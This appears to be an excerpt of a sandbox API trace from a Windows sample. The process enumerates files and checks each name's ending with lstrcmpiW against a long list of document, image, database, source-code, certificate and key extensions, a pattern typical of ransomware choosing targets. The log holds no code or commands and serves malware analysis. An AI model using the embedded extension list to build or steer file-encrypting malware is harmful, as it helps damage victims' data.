	[0166.540] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0166.540] lstrlenW (lpString=".bmp") returned 4
	[0166.540] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0166.540] lstrlenW (lpString=".bz2") returned 4
	[0166.540] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0166.540] lstrlenW (lpString=".c") returned 2
	[0166.540] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0166.540] lstrlenW (lpString=".cdr") returned 4
	[0166.540] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0166.540] lstrlenW (lpString=".cer") returned 4
	[0166.541] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0166.541] lstrlenW (lpString=".cf") returned 3
	[0166.541] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0166.541] lstrlenW (lpString=".cfc") returned 4
	[0166.541] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0166.541] lstrlenW (lpString=".cfm") returned 4
	[0166.541] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0166.541] lstrlenW (lpString=".cfml") returned 5
	[0166.541] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0166.541] lstrlenW (lpString=".cfu") returned 4
	[0166.541] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0166.541] lstrlenW (lpString=".chm") returned 4
	[0166.541] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0166.541] lstrlenW (lpString=".cin") returned 4
	[0166.541] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0166.541] lstrlenW (lpString=".class") returned 6
	[0166.541] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0166.541] lstrlenW (lpString=".clx") returned 4
	[0166.541] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0166.541] lstrlenW (lpString=".config") returned 7
	[0166.541] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
	[0166.541] lstrlenW (lpString=".cpp") returned 4
	[0166.541] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0166.541] lstrlenW (lpString=".cr2") returned 4
	[0166.541] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0166.542] lstrlenW (lpString=".crt") returned 4
	[0166.542] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0166.542] lstrlenW (lpString=".crw") returned 4
	[0166.542] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0166.542] lstrlenW (lpString=".cs") returned 3
	[0166.542] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0166.542] lstrlenW (lpString=".css") returned 4
	[0166.542] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0166.542] lstrlenW (lpString=".csv") returned 4
	[0166.542] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0166.542] lstrlenW (lpString=".cub") returned 4
	[0166.542] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0166.542] lstrlenW (lpString=".dae") returned 4
	[0166.542] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0166.542] lstrlenW (lpString=".dat") returned 4
	[0166.542] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0166.542] lstrlenW (lpString=".db") returned 3
	[0166.542] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0166.542] lstrlenW (lpString=".dbf") returned 4
	[0166.542] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0166.542] lstrlenW (lpString=".dbx") returned 4
	[0166.542] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0166.542] lstrlenW (lpString=".dc3") returned 4
	[0166.542] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0166.543] lstrlenW (lpString=".dcm") returned 4
	[0166.543] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0166.543] lstrlenW (lpString=".dcr") returned 4
	[0166.543] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0166.543] lstrlenW (lpString=".der") returned 4
	[0166.543] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0166.543] lstrlenW (lpString=".dib") returned 4
	[0166.543] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0166.543] lstrlenW (lpString=".dic") returned 4
	[0166.543] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0166.543] lstrlenW (lpString=".dif") returned 4
	[0166.543] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0166.851] lstrlenW (lpString=".divx") returned 5
	[0166.851] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
	[0166.851] lstrlenW (lpString=".djvu") returned 5
	[0166.851] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0166.851] lstrlenW (lpString=".dng") returned 4
	[0166.851] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0166.851] lstrlenW (lpString=".doc") returned 4
	[0166.851] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0166.851] lstrlenW (lpString=".docm") returned 5
	[0166.851] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0166.851] lstrlenW (lpString=".docx") returned 5
	[0166.851] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0166.851] lstrlenW (lpString=".dot") returned 4
	[0166.851] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0166.851] lstrlenW (lpString=".dotm") returned 5
	[0166.851] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0166.851] lstrlenW (lpString=".dotx") returned 5
	[0166.851] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0166.851] lstrlenW (lpString=".dpx") returned 4
	[0166.851] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0166.851] lstrlenW (lpString=".dqy") returned 4
	[0166.851] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0166.851] lstrlenW (lpString=".dsn") returned 4
	[0166.852] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0166.852] lstrlenW (lpString=".dt") returned 3
	[0166.852] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0166.852] lstrlenW (lpString=".dtd") returned 4
	[0166.852] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0166.852] lstrlenW (lpString=".dwg") returned 4
	[0166.852] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0166.852] lstrlenW (lpString=".dwt") returned 4
	[0166.852] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0166.852] lstrlenW (lpString=".dx") returned 3
	[0166.852] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0166.852] lstrlenW (lpString=".dxf") returned 4
	[0166.852] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0166.852] lstrlenW (lpString=".edml") returned 5
	[0166.852] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0166.852] lstrlenW (lpString=".efd") returned 4
	[0166.852] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0166.852] lstrlenW (lpString=".elf") returned 4
	[0166.852] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0166.852] lstrlenW (lpString=".emf") returned 4
	[0166.852] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0166.852] lstrlenW (lpString=".emz") returned 4
	[0166.852] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0166.852] lstrlenW (lpString=".epf") returned 4
	[0166.852] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0166.852] lstrlenW (lpString=".eps") returned 4
	[0166.852] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0166.853] lstrlenW (lpString=".epsf") returned 5
	[0166.853] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0166.853] lstrlenW (lpString=".epsp") returned 5
	[0166.853] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0166.853] lstrlenW (lpString=".erf") returned 4
	[0166.853] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0166.853] lstrlenW (lpString=".exr") returned 4
	[0166.853] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0166.853] lstrlenW (lpString=".f4v") returned 4
	[0166.853] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0166.853] lstrlenW (lpString=".fido") returned 5
	[0166.853] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0166.853] lstrlenW (lpString=".flm") returned 4
	[0166.853] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0166.853] lstrlenW (lpString=".flv") returned 4
	[0166.853] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0166.853] lstrlenW (lpString=".frm") returned 4
	[0166.853] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0166.853] lstrlenW (lpString=".fxg") returned 4
	[0166.853] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0166.853] lstrlenW (lpString=".geo") returned 4
	[0166.853] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0166.853] lstrlenW (lpString=".gif") returned 4
	[0166.853] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0166.853] lstrlenW (lpString=".grs") returned 4
	[0166.853] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0166.853] lstrlenW (lpString=".gz") returned 3
	[0166.853] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0166.854] lstrlenW (lpString=".h") returned 2
	[0166.854] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0166.854] lstrlenW (lpString=".hdr") returned 4
	[0166.854] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0166.854] lstrlenW (lpString=".hpp") returned 4
	[0166.854] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0166.854] lstrlenW (lpString=".hta") returned 4
	[0166.854] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0166.854] lstrlenW (lpString=".htc") returned 4
	[0166.854] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0166.854] lstrlenW (lpString=".htm") returned 4
	[0166.854] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0166.854] lstrlenW (lpString=".html") returned 5
	[0166.854] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0166.854] lstrlenW (lpString=".icb") returned 4
	[0166.854] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0166.854] lstrlenW (lpString=".ics") returned 4
	[0166.854] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0166.854] lstrlenW (lpString=".iff") returned 4
	[0166.854] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0166.854] lstrlenW (lpString=".inc") returned 4
	[0166.854] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0166.854] lstrlenW (lpString=".indd") returned 5
	[0166.854] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0166.854] lstrlenW (lpString=".ini") returned 4
	[0166.854] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0166.854] lstrlenW (lpString=".iqy") returned 4
	[0166.855] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0166.855] lstrlenW (lpString=".j2c") returned 4
	[0166.855] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0166.855] lstrlenW (lpString=".j2k") returned 4
	[0166.855] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0166.855] lstrlenW (lpString=".java") returned 5
	[0166.855] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0166.855] lstrlenW (lpString=".jp2") returned 4
	[0166.855] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0166.855] lstrlenW (lpString=".jpc") returned 4
	[0166.855] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0166.855] lstrlenW (lpString=".jpe") returned 4
	[0166.855] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0166.855] lstrlenW (lpString=".jpeg") returned 5
	[0166.855] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0166.855] lstrlenW (lpString=".jpf") returned 4
	[0166.855] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0166.855] lstrlenW (lpString=".jpg") returned 4
	[0166.855] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0166.855] lstrlenW (lpString=".jpx") returned 4
	[0166.855] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0166.855] lstrlenW (lpString=".js") returned 3
	[0166.855] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0166.855] lstrlenW (lpString=".jsf") returned 4
	[0166.855] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0166.855] lstrlenW (lpString=".json") returned 5
	[0166.855] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0166.856] lstrlenW (lpString=".jsp") returned 4
	[0166.856] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0166.856] lstrlenW (lpString=".kdc") returned 4
	[0166.856] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0166.856] lstrlenW (lpString=".kmz") returned 4
	[0166.856] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0166.856] lstrlenW (lpString=".kwm") returned 4
	[0166.856] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0166.856] lstrlenW (lpString=".lasso") returned 6
	[0166.856] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0166.856] lstrlenW (lpString=".lbi") returned 4
	[0166.856] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0166.856] lstrlenW (lpString=".lgf") returned 4
	[0166.856] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0166.856] lstrlenW (lpString=".lgp") returned 4
	[0166.856] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0166.856] lstrlenW (lpString=".log") returned 4
	[0166.856] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0166.856] lstrlenW (lpString=".m1v") returned 4
	[0166.856] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0166.856] lstrlenW (lpString=".m4a") returned 4
	[0166.856] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0166.856] lstrlenW (lpString=".m4v") returned 4
	[0166.856] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0166.857] lstrlenW (lpString=".max") returned 4
	[0166.857] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0166.857] lstrlenW (lpString=".md") returned 3
	[0166.857] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0166.857] lstrlenW (lpString=".mda") returned 4
	[0166.857] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0166.857] lstrlenW (lpString=".mdb") returned 4
	[0166.857] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0166.857] lstrlenW (lpString=".mde") returned 4
	[0166.857] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0166.857] lstrlenW (lpString=".mdf") returned 4
	[0166.857] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0166.857] lstrlenW (lpString=".mdw") returned 4
	[0166.857] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0166.857] lstrlenW (lpString=".mef") returned 4
	[0166.857] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0166.857] lstrlenW (lpString=".mft") returned 4
	[0166.857] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0166.857] lstrlenW (lpString=".mfw") returned 4
	[0166.857] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0166.857] lstrlenW (lpString=".mht") returned 4
	[0166.857] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0166.857] lstrlenW (lpString=".mhtml") returned 6
	[0166.857] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0166.857] lstrlenW (lpString=".mka") returned 4
	[0166.857] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0166.857] lstrlenW (lpString=".mkidx") returned 6
	[0166.857] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0166.858] lstrlenW (lpString=".mkv") returned 4
	[0166.858] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0166.858] lstrlenW (lpString=".mos") returned 4
	[0166.858] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0166.858] lstrlenW (lpString=".mov") returned 4
	[0166.858] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0166.858] lstrlenW (lpString=".mp3") returned 4
	[0166.858] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0166.858] lstrlenW (lpString=".mp4") returned 4
	[0166.858] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0166.858] lstrlenW (lpString=".mpeg") returned 5
	[0166.858] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0166.858] lstrlenW (lpString=".mpg") returned 4
	[0166.858] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0166.858] lstrlenW (lpString=".mpv") returned 4
	[0166.858] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0166.858] lstrlenW (lpString=".mrw") returned 4
	[0166.858] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0166.858] lstrlenW (lpString=".msg") returned 4
	[0166.858] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0166.858] lstrlenW (lpString=".mxl") returned 4
	[0166.858] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0166.858] lstrlenW (lpString=".myd") returned 4
	[0166.858] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0166.858] lstrlenW (lpString=".myi") returned 4
	[0166.858] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0166.858] lstrlenW (lpString=".nef") returned 4
	[0166.859] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0166.859] lstrlenW (lpString=".nrw") returned 4
	[0166.859] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0166.859] lstrlenW (lpString=".obj") returned 4
	[0166.859] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0166.859] lstrlenW (lpString=".odb") returned 4
	[0166.859] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0166.859] lstrlenW (lpString=".odc") returned 4
	[0166.859] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0166.859] lstrlenW (lpString=".odm") returned 4
	[0166.859] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0166.859] lstrlenW (lpString=".odp") returned 4
	[0166.859] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0166.859] lstrlenW (lpString=".ods") returned 4
	[0166.859] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0166.859] lstrlenW (lpString=".oft") returned 4
	[0166.859] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0166.859] lstrlenW (lpString=".one") returned 4
	[0166.859] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0166.859] lstrlenW (lpString=".onepkg") returned 7
	[0166.859] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0166.859] lstrlenW (lpString=".onetoc2") returned 8
	[0166.859] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0166.859] lstrlenW (lpString=".opt") returned 4
	[0166.859] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0166.859] lstrlenW (lpString=".oqy") returned 4
	[0166.859] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0166.860] lstrlenW (lpString=".orf") returned 4
	[0166.860] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0166.860] lstrlenW (lpString=".p12") returned 4
	[0166.860] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0166.860] lstrlenW (lpString=".p7b") returned 4
	[0166.860] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0166.860] lstrlenW (lpString=".p7c") returned 4
	[0166.860] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0166.860] lstrlenW (lpString=".pam") returned 4
	[0166.860] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0166.860] lstrlenW (lpString=".pbm") returned 4
	[0166.860] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0166.860] lstrlenW (lpString=".pct") returned 4
	[0166.860] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0166.860] lstrlenW (lpString=".pcx") returned 4
	[0166.860] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0166.860] lstrlenW (lpString=".pdd") returned 4
	[0166.860] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0166.860] lstrlenW (lpString=".pdf") returned 4
	[0166.860] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0166.860] lstrlenW (lpString=".pdp") returned 4
	[0166.860] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0166.860] lstrlenW (lpString=".pef") returned 4
	[0166.860] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0166.860] lstrlenW (lpString=".pem") returned 4
	[0166.860] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0166.860] lstrlenW (lpString=".pff") returned 4
	[0166.860] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0166.861] lstrlenW (lpString=".pfm") returned 4
	[0166.861] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0166.861] lstrlenW (lpString=".pfx") returned 4
	[0166.861] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0166.861] lstrlenW (lpString=".pgm") returned 4
	[0166.861] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0166.861] lstrlenW (lpString=".php") returned 4
	[0166.861] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0166.861] lstrlenW (lpString=".php3") returned 5
	[0166.861] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0166.861] lstrlenW (lpString=".php4") returned 5
	[0166.861] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0166.861] lstrlenW (lpString=".php5") returned 5
	[0166.861] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0166.861] lstrlenW (lpString=".phtml") returned 6
	[0166.861] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0166.861] lstrlenW (lpString=".pict") returned 5
	[0166.861] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0166.861] lstrlenW (lpString=".pl") returned 3
	[0166.861] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0166.861] lstrlenW (lpString=".pls") returned 4
	[0166.861] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0166.861] lstrlenW (lpString=".pm") returned 3
	[0166.861] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0166.861] lstrlenW (lpString=".png") returned 4
	[0166.861] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0166.861] lstrlenW (lpString=".pnm") returned 4
	[0166.862] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0166.862] lstrlenW (lpString=".pot") returned 4
	[0166.862] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0166.862] lstrlenW (lpString=".potm") returned 5
	[0166.862] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0166.862] lstrlenW (lpString=".potx") returned 5
	[0166.862] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
	[0166.862] lstrlenW (lpString=".ppa") returned 4
	[0166.862] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0166.862] lstrlenW (lpString=".ppam") returned 5
	[0166.862] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0166.862] lstrlenW (lpString=".ppm") returned 4
	[0166.862] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0166.862] lstrlenW (lpString=".pps") returned 4
	[0166.862] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0166.862] lstrlenW (lpString=".ppsm") returned 5
	[0166.862] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0166.862] lstrlenW (lpString=".ppt") returned 4
	[0166.862] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0166.862] lstrlenW (lpString=".pptm") returned 5
	[0166.862] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0166.862] lstrlenW (lpString=".pptx") returned 5
	[0166.862] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0166.862] lstrlenW (lpString=".prn") returned 4
	[0166.862] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0166.862] lstrlenW (lpString=".ps") returned 3
	[0166.863] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0166.863] lstrlenW (lpString=".psb") returned 4
	[0166.863] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0166.863] lstrlenW (lpString=".psd") returned 4
	[0166.863] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0166.863] lstrlenW (lpString=".pst") returned 4
	[0166.863] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0166.863] lstrlenW (lpString=".ptx") returned 4
	[0166.863] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0166.863] lstrlenW (lpString=".pub") returned 4
	[0166.863] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0166.863] lstrlenW (lpString=".pwm") returned 4
	[0166.863] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0166.863] lstrlenW (lpString=".pxr") returned 4
	[0166.863] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0166.863] lstrlenW (lpString=".py") returned 3
	[0166.863] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0166.863] lstrlenW (lpString=".qt") returned 3
	[0166.863] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0166.863] lstrlenW (lpString=".r3d") returned 4
	[0166.863] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0166.863] lstrlenW (lpString=".raf") returned 4
	[0166.863] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0166.863] lstrlenW (lpString=".rar") returned 4
	[0166.863] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0166.864] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.864] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.864] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0166.864] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0166.864] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1
